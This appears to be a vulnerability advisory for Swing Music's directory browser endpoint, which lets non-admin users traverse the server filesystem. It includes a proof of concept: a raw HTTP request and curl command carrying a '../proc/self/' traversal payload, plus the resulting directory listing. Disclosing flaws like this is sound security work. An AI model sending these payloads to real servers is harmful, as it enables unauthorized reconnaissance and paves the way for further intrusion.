Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user

Summary

Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.

Details

The @api.post("/dir-browser") endpoint lacks proper path validation and authorization checks:

• No authorization requirement: Any authenticated user can access the endpoint
• Improper path handling: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal:

req_dir = pathlib.Path("../../../../etc")  # → PosixPath('../../../../etc')
if not req_dir.exists():                    # → False
    req_dir = "/" / req_dir                 # → PosixPath('/../../../../etc')

PoC

1. Create a non-admin user
2. Authenticate as a non-admin user
3. Send the following request:

POST /folder/dir-browser HTTP/1.1
Host: IP:1970
Content-Type: application/json
Cookie: access_token_cookie=non-admin-access-token
Connection: keep-alive

{"folder":"/music/../proc/self/", "tracks_only":false}

curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
    --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \
    $'http://IP:1970/folder/dir-browser'

4. The response will list directories from /proc/self instead of restricting to user-accessible paths:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 466
Vary: Accept-Encoding
Connection: Keep-Alive

{"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]}

Impact

Information Disclosure:

• Server filesystem structure and layout
• Configuration file locations and names
• User account names from directory listings
• Software versions and installed packages
• Log file locations and system paths

Additional Risks:

• Preparation for further attacks (LFI, RCE)
• Bypass of access control mechanisms
• Exposure of sensitive directory structures